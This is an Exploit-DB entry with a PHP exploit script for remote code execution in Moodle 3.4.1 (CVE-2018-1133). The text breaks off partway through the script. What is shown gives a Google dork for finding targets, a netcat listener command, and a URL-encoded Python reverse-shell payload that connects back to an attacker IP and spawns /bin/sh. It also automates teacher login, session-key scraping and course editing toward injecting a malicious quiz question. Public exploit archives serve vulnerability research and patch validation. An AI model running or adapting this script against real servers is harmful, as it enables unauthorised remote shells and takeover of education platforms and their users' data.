Exploit-DB #46551
Description: Moodle 3.4.1 - Remote Code Execution
Type: webapps
Platform: php
Date: 2019-03-15
Author: Darryn Ten

Exploit:
<?php
/**
 * Exploit Title: Moodle v3.4.1 RCE Exploit
 * Google Dork: inurl:"/course/jumpto.php?jump="
 * Date: 15 March 2019
 * Exploit Author: Darryn Ten
 * Vendor Homepage: https://moodle.org
 * Software Link: https://github.com/moodle/moodle/archive/v3.4.1.zip
 * Version: 3.4.1 (Possibly < 3.5.0 and maybe even 3.x)
 * Tested on: Linux with Moodle v3.4.1
 * CVE : CVE-2018-1133
 *
 * This exploit is based on information provided by Robin Peraglie.
 * Additional Reading: https://blog.ripstech.com/2018/moodle-remote-code-execution
 *
 * A user with the teacher role is able to execute arbitrary code.
 *
 * Usage:
 *
 * >  php MoodleExploit.php url=http://example.com user=teacher pass=password ip=10.10.10.10 port=1010 course=1
 *
 * user       The account username
 * pass       The password to the account
 * ip         Callback IP
 * port       Callback Port
 * course     Valid course ID belonging to the teacher
 *
 * Make sure you're running a netcat listener on the specified port before
 * executing this script.
 *
 * > nc -lnvp 1010
 *
 * This will attempt to open up a reverse shell to the listening IP and port.
 *
 * You can start the script with `debug=true` to enable debug mode.
 */
namespace exploit {
    class moodle {
        public $ip;
        public $port;
        public $courseId;

        public $cookie_jar;
        public $url;
        public $pass;
        public $payload;
        public $quizId = false;

        public $moodleSession = false;
        public $moodleKey;

        // Verification patterns
        public $loginSuccessMatch = "/course.view\.php/";
        public $courseSuccessMatch = "/.\/i.Edit.settings.\/a./";
        public $editSuccessMatch = "/.view.php\?id=2&notifyeditingon=1/";
        public $quizSuccessMatch = "/.title.Editing.Quiz.\/title./";
        public $quizConfigMatch = "/title.*xxxx.\/title./";
        public $evilSuccess = "/The\ wild\ cards\ \<strong\>\{x..\}\<\/strong\>\ will\ be\ substituted/";

        public $debug;

        public function __construct($url, $user, $pass, $ip, $port, $course, $debug) {
            $this->cookie_jar = tempnam("/tmp","cookie");
            $this->url = $url;
            $this->pass = $pass;
            $this->ip = $ip;
            $this->port = $port;
            $this->courseId = $course;
            $this->debug = $debug;

            // Inject a reverse shell
            // You could modify this payload to inject whatever you like
            $this->payload = "(python+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect((\"".$this->ip."\",".$this->port."))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call([\"/bin/sh\",\"-i\"])%3b')";

            echo("\n\r");
            echo("*------------------------------*\n\r");
            echo("* Noodle [Moodle RCE] (v3.4.1) *\n\r");
            echo("*------------------------------*\n\r");
            echo("\n\r");
            echo("[!] Make sure you have a listener\n\r");
            echo(sprintf("[!] at %s:%s\n\r", $this->ip, $this->port));
            echo("\n\r");

            $this->login($url, $user, $pass);
            $this->loadCourse($this->courseId);
            $this->enableEdit();
            $this->addQuiz();
            $this->editQuiz();
            $this->addCalculatedQuestion();
            $this->addEvilQuestion();
            $this->exploit();
            echo "[*] DONE\n\r";
            die();
        }

        function login($url, $user, $pass) {
            echo(sprintf("[*] Logging in as user %s with password %s \n\r", $user, $pass));

            $data = [
                "anchor" => "",
                "username" => $user,
                "password" => $pass
            ];

            $result = $this->httpPost("/login/index.php", $data);

            if (!preg_match($this->loginSuccessMatch, $result["body"])) {
                echo "[-] LOGIN FAILED!\n\r";
                echo "[?] Do you have the right credentials and url?\n\r";
                die();
            }

            $matches = [];
            $cookies = preg_match_all("/MoodleSession=(.*); path=/", $result["header"], $matches);

            $this->moodleSession = $matches[1][1];

            $matches = [];
            $key = preg_match_all("/sesskey\":\"(.*)\",\"themerev/", $result["body"], $matches);

            $this->moodleKey = $matches[1][0];

            echo "[+] Successful Login\n\r";
            echo sprintf("[>] Moodle Session %s \n\r", $this->moodleSession);
            echo sprintf("[>] Moodle Key %s \n\r", $this->moodleKey);
        }

        function loadCourse($id) {
            echo(sprintf("[*] Loading Course ID %s \n\r", $id));
            $result = $this->httpGet(sprintf("/course/view.php?id=%s", $id), $this->moodleSession);

            if (!preg_match($this->courseSuccessMatch, $result["body"])) {
                echo "[-] LOADING COURSE FAILED!\n\r";
                echo "[?] Does the course exist and belong to the teacher?\n\r";
                die();
            }

            echo "[+] Successfully Loaded Course\n\r";
        }

        function enableEdit() {
            echo(sprintf("[*] Enable Editing\n\r"));
            $result = $this->httpGet(sprintf(
                "/course/view.php?id=%s&sesskey=%s&edit=on",
                $this->courseId,
                $this->moodleKey
            ), $this->moodleSession);

            if (!preg_match($this->editSuccessMatch, $result["header"])) {
                echo "[-] ENABLE EDITING FAILED!\n\r";
                echo "[?] Does the user have the teacher role?\n\r";
                die();
            }

            echo "[+] Successfully Enabled Course Editing\n\r";
        }

        function addQuiz() {
            echo(sprintf("[*] Adding Quiz\n\r")